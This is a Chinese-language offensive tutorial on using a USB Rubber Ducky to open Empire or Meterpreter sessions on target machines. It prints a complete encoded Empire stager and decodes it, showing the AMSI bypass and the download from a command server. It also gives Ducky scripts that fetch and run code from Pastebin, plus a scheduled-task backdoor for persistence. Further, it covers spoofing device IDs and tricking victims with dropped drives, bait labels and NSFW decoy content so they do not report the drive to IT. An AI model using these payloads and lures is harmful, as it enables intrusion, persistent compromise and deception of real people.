利用USB RUBBER DUCKY(USB 橡皮鴨)在目標機器上啓動Empire或Meterpreter會話

今天我將教大家如何使用Rubber Ducky在滲透中建立EmpireMeterpreter會話連接。然而對於Ducky而言,想要完成大多數現實場景中的USB攻擊,往往需要花費大量的時間去實踐。本文概述了三種橡皮鴨速度的優化技術,以及最小化用戶對Ducky的異常檢測。

2.jpg

Rubber Ducky攻擊向量

聲東擊西

當用戶分散注意力時,隨手將Ducky插入可訪問的USB接口。

優點:能有效將Payload傳遞至目標系統;並且不易被用戶發現。

缺點:這種方式通常時間較短,因此需要攻擊者及USB的執行速度較快。其次,還需取決於對用戶的欺騙以及USB接口的訪問方便與否。

危險藏匿

在一些辦公場所故意丟棄一個Ducky,例如接待處,停車場和浴室等這些地方通常成功率都相當高。爲了不引起懷疑,我們可以將Ducky的標籤更改爲一些誘人的內容。除此之外,我們還可以利用聯邦快遞來傳送Ducky,這將是一個很好的藉口。

優點:顯而易見相對於上種方式,你無需親自去冒着被抓住的風險。當人們看到標有“2016度假照片”的USB時,好奇心總能驅使他們窺探。

缺點:用戶在插入USB時會緊盯屏幕,因此容易發現問題。

神不知,鬼不覺

選擇在深夜時間繞過物理安全控制,潛入無人值守的辦公場所。

優點:一旦成功則不易被用戶發現,且有足夠的攻擊時間。

缺點:風險巨大容易被抓住。

以上三種方式最常用的是前兩種。可以看到這兩種方式想要成功都必須有具備兩個前提:速度和信任。下面我將通過優化Empire stager的傳遞執行時間,並儘可能的減少用戶的懷疑。

標準方法

有關創建Empire stagers(傳輸器)的內容,請參閱Stagers 101

使用Empire的stager/windows/ducky,我們得到以下結果:

DELAY 3000
GUI r
DELAY 1000
STRING powershell
ENTER
DELAY 2000
STRING powershell -W Hidden -nop -noni -enc WwBSAGUAZgBdAC4AQQBzAHMARQBNAGIATAB5AC4ARwBFAFQAVAB5AHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAVABGAGkARQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQB0AFYAQQBsAFUAZQAoACQAbgBVAEwAbAAsACQAdABSAFUAZQApAH0AOwBbAFMAeQBTAFQAZQBtAC4ATgBFAFQALgBTAGUAcgB2AGkAQwBFAFAAbwBJAE4AdABNAEEATgBBAEcAZQBSAF0AOgA6AEUAWABwAEUAYwB0ADEAMAAwAEMATwBOAFQASQBOAFUARQA9ADAAOwAkAFcAQwA9AE4ARQBXAC0ATwBiAEoAZQBDAFQAIABTAHkAUwB0AEUATQAuAE4AZQBUAC4AVwBFAGIAQwBsAGkARQBOAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJAB3AGMALgBIAGUAQQBkAEUAUgBTAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AGMALgBQAHIAbwB4AHkAPQBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAEUAQgBSAEUAUQB1AGUAcwBUAF0AOgA6AEQARQBGAGEAdQBMAHQAVwBFAEIAUAByAE8AeAB5ADsAJABXAEMALgBQAFIAbwBYAFkALgBDAFIARQBkAGUAbgB0AEkAQQBMAFMAIAA9ACAAWwBTAHkAcwBUAEUATQAuAE4ARQB0AC4AQwByAEUARABlAE4AdABpAEEAbABDAEEAQwBoAGUAXQA6ADoARABFAEYAQQBVAEwAVABOAEUAVABXAE8AUgBrAEMAUgBFAEQAZQBOAHQASQBhAGwAUwA7ACQASwA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAEMATwBkAGkATgBHAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AEUAcwAoACcAYwBJAHAAMABDADwASgAtAHMAbABUAF8AXgBAAGkANABQAEcALAA4AHgAWABGACsAZgBFAFIAMwB2AEQAfgBkACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAHUATgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAdwBjAC4ASABlAGEAZABFAHIAcwAuAEEARABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AeABiADEAcgBKAGoATABuAGwANQBKAGsAMABqADEATgAxAFYAZABoAHgAZwByAE8ANgArAFkAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMgA6ADgAMAAnADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJABEAGEAVABBAD0AJABXAEMALgBEAE8AdwBOAGwAbwBhAGQARABhAFQAYQAoACQAcwBlAFIAKwAkAHQAKQA7ACQAaQBWAD0AJABEAEEAdABBAFsAMAAuAC4AMwBdADsAJABEAEEAdABhAD0AJABEAEEAdABBAFsANAAuAC4AJABEAGEAdABhAC4ATABFAG4ARwB0AEgAXQA7AC0ASgBPAEkATgBbAEMASABBAHIAWwBdAF0AKAAmACAAJABSACAAJABkAGEAVABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=
ENTER

完成時間:約38秒

輸入字符:1 (r) + 10 (powershell) + 1 (ENTER) + 2657 (payload) + 1 (ENTER) = 2670 字符

我們遇到的第一個問題是驅動程序問題。大多數機器之前從未運行或加載過Ducky(或者特定的VID/PID),所以你必須假設加載驅動程序,將是我們在物理攻擊中相對耗時和必不可少的一部分。

乍一看,我們似乎可以選擇直接從“運行”框啓動base64編碼命令來節約時間,但這是不可能的因爲該框不會接受這麼多的字符。

聲東擊西:在3秒內執行Pastebin

步驟1:BASE64解碼STAGER

$ echo "WwBSAEUARgBdAC4AQQBTAFMAZ...ACkAfABJAEUAWAA=" | base64 -d
[REF].ASSemBLY.GetType('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFieLd('amsiInitFailed','NonPublic,Static').SeTVaLUE($NULl,$TruE)};[SYStEm.NeT.SeRvIcEPoIntMaNager]::EXPEcT100CoNtiNUe=0;$WC=New-ObjeCT SysTeM.NeT.WebCLIeNt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.HeAdeRs.ADD('User-Agent',$u);$WC.ProXy=[SystEm.NEt.WeBREqueSt]::DEfaULtWeBPRoXy;$wC.PRoXY.CreDENTIALS = [SYStEm.Net.CreDEnTIAlCaChe]::DEFAUltNEtworKCredENtIALS;$K=[SysTeM.TExT.ENcODING]::ASCII.GetBytES('cIp0C<J-slT_^@i4PG,8xXF+fER3vD~d');$R={$D,$K=$ARGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CouNT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bXoR$S[($S[$I]+$S[$H])%256]}};$Wc.HEadERs.ADD("Cookie","session=yf4qx5Kgt/VLttX7JIdbgtni/iQ=");$ser='http://192.168.1.2:80';$t='/login/process.php';$daTa=$WC.DOWNLOAdDAta($ser+$t);$Iv=$dAta[0..3];$DaTa=$daTA[4..$dAta.leNGTh];-JoiN[ChAr[]](& $R $DaTA ($IV+$K))|IEX

或者,你也可以使用Empire的multi/launcher將Base64選項設置爲False來重新生成stager。

步驟2:將stager上傳至Pastebin

將Base64解碼的PowerShell複製粘貼至Pastebin並且保存原始路徑。確保使用安全的https鏈接以避免檢測。

示例請參閱:https://pastebin.com/raw/ani8ic5X

步驟3:創建一個POWERSHELL單線啓動STAGER

powershell -ep bypass -w h -c "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')"

我們使用最小選項“-ep bypass”來繞過執行策略,而’-w h’可以幫助我們在用戶界面隱藏PowerShell窗口。

步驟4:時間調整

默認的Empire時間(3000和1000)非常的保守。通過對不同系統的測試,我們可以將它改爲以下值:

DELAY 500
GUI r
DELAY 100

步驟5:鎖定USB VID和PID

要想進一步的隱藏Ducky,我們還需要修改USB的供應商ID(VID)和產品ID(PID)。因爲我們只是執行鍵盤注入,所以讓我們來欺騙微軟(0x045E)通用的“鍵盤”(0xFFF8)。你可以在這裏下載到Microsoft vidpid.bin文件,並將其內容另複製保存爲vidpid.bin移放至Ducky根目錄下。

$ cp msft-vidpid.bin /media/PATH/TO/DUCKY/vidpid.bin

步驟6:整合

完成時間:約3秒

輸入字符:1 (r) + 114 (payload)+ 1 (ENTER) = 116 字符

DELAY 500
GUI r
DELAY 100
STRING powershell -ep bypass -w h -c "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')"
ENTER

下載pastebin-payload.txt,使用自己的方式交換Pastebin鏈接。

編譯ducky有效載荷(更多信息,請參閱Rubber Ducky wiki):

$ java -jar duckencoder.jar -i pastebin-payload.txt -o /media/PATH/TO/DUCKY/inject.bin

危險藏匿:增加可信度

由於第二種方式涉及受害者與Ducky的直接交互,因此攻擊必須具備較高的可信度。這裏我們還將使用相同的Pastebin傳送系統,首先我們要做的是準備好Ducky USB驅動器。

步驟1:將RUBBER DUCKY固件更新到Twin Duck

擦除並將Ducky固件更新到Twin Duck固件(截止本文發佈其版本爲c_duck_v2.1.hex)。有關更詳細的固件更新說明請參閱:https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky 。

1.安裝dfu-programmer:

$ sudo apt-get update && sudo apt-get install dfu-programmer

2.刪除Ducky的閃存卡,並按下按鈕將Ducky插入主機。

3.擦除當前固件:

$ sudo dfu-programmer at32uc3b1256 erase

4.將固件更新爲Twin Duck:

$ sudo dfu-programmer at32uc3b1256 flash --suppress-bootloader-mem c_duck_v2.1.hex

5. 重置Ducky使它再次工作:

$ sudo dfu-programmer at32uc3b1256 reset

步驟2:鎖定USB VID和PID

這裏我們來模擬最常見的USB閃存驅動器芯片組:Alcor Micro Corp的(0x058F)通用“Flash Drive”(0×6387)。你可以下載一個定製的Alcor Micro vidpid.bin文件,並將其複製到Ducky。

$ cp alcor-vidpid.bin /media/PATH/TO/DUCKY/vidpid.bin

步驟3:爲你的驅動器編造一個故事

例如只是一個目標公司CFO的驅動器,或是一個剛入公司的實習生的,這都將足以引起人們的好奇和窺探。同時,一個好的故事也將對下一步的成敗起關鍵作用。

步驟4:添加驅動標籤

在Linux中向FAT16驅動器添加標籤的最簡單方法是使用GParted。

  1. 通過讀卡器加載MicroSD卡。
  2. 啓動GParted並切換到USB驅動器(通常是/dev/sdb)
  3. 卸載驅動器(分區->卸載)
  4. 右鍵單擊並轉到“標籤文件系統”,然後選擇一個符合驅動器故事的標籤
  5. 點擊“應用”

步驟5:進一步的僞裝

爲了避免一些不必要的情況發生,例如用戶將USB移交至IT部門,或拔掉網線電源導致大面積的故障出現,我們需要打造一個具有更好“用戶體驗”的驅動器。

  • 在驅動器中添加虛擬內容(如圖片,文檔等),增加其可信度。(備註:添加NSFW的內容,使得受害者不太可能將驅動器移交給IT部門)
  • 將’inject.bin’和’vidpid.bin’隱藏在Windows系統上。你可以使用 wine attrib + h 文件名 完成此操作,但我發現將SD卡加載到Windows機器上手動隱藏文件更加可靠。

步驟6:使用之前的PASTEBIN方法設置注入

Air Gapped系統和離線筆記本電腦:從存儲執行

在這個例子中我們將創建一個有效負載,以在遇到那些未連接到互聯網的計算機時也能創建一個持久性的會話。當然,這個有效載荷只是一個PoC。由於許多步驟與上述步驟相同,以下我只會說明每個步驟的不同之處。

步驟1:將RUBBER DUCKY固件更新到Twin Duck

步驟2:添加驅動標籤

步驟3:BASE64解碼EMPIRE STAGER並將其上傳到PASTEBIN

步驟4:在POWERSHELL中創建調度任務

backdoor.ps1(點擊下載):

$PScommand = 'powershell -ep bypass -w h -enc '
$IEXPayload = "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($IEXPayload)
$encCommand = [Convert]::ToBase64String($bytes)
$null = schtasks /Create /SC MINUTE /TN Updater /TR "$PScommand $encCommand"

注意:在本例中,腳本被設置爲每隔60秒就檢查一次互聯網的訪問,但在實際環境中,建議最好每隔幾個小時甚至一天進行一次檢查。

步驟5:將BACKDOOR.PS1添加到橡皮鴨

爲了儘可能的減少Ducky需要輸入的字符數量,我們將其重命名爲“b.ps1”。

$ cp backdoor.ps1 /media/PATH/TO/DUCKY/b.ps1

步驟6:創建一個POWERSHELL單線啓動BACKDOOR

我們需要找到 DUCKY SD的掛載字母,程序首先會尋找標有“DUCKY”的驅動器,然後提取該驅動器的字母,並將PowerShell文件追加到字符串並執行該腳本。

Windows 7-10(gwmi方法) – 104個字符

powershell -ep bypass -w h -c ".(((gwmi Win32_Volume | ? {$_.Label -eq 'DUCKY'}).DriveLetter)+'\b.ps1')"

Windows 8-10(Get-Volume方法) – 94個字符

powershell -ep bypass -w h -c ".(((Get-Volume -FileSystemLabel DUCKY).DriveLetter)+':\b.ps1')"

步驟7:設置時間

DELAY 2800
GUI r
DELAY 150

步驟8:鎖定USB VID和PID

讓我們再次來模擬Alcor Micro Corp的(0x058F)通用“Flash Drive”(0×6387)。你可以在這裏下載

$ cp alcor-vidpid.bin /media/PATH/TO/DUCKY/vidpid.bin

步驟9:整合(GET-VOLUME方法)

完成時間:約9秒

輸入字符: 1 (r) + 94 (payload)+ 1 (ENTER) = 96 字符

DELAY 2800
GUI r
DELAY 150
STRING powershell -ep bypass -w h -c ".(((Get-Volume -FileSystemLabel DUCKY).DriveLetter)+':\b.ps1')"
ENTER

點擊下載Get-Volume有效載荷。你還可以在這裏下載到gwmi版本

總結

在此前我們使用默認的Empire Ducky腳本,而它有足足2,670個字符,並且執行所花費時間也達到了38秒之久。在進行了相應的優化後,我們使用基於web的Empire stager,將執行時間縮短到了3秒,並且輸入字符也減少到了116個。這意味只要3秒鐘攻擊者就可以成功滲透目標,並且難以被發現。我們還學習到如何創建一個具有較高可信度和用戶體驗的USB驅動器。這些人爲因素的添加,大大降低了檢測和事件報告率。最後,我們檢查了從Ducky的內部磁盤執行腳本的PoC,即使計算機未連接到互聯網時也能創建一個持久性的會話。以上討論的所有技術都是無文件式攻擊,因此對於繞過AV也有一定的效果。爲了增加攻擊的更加隱蔽性,在這裏我建議大家儘可能的使用自己的基礎設施/託管而不是Pastebin,因爲許多這類比較知名的網站,在企業網絡環境中極易被阻斷和隔離。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章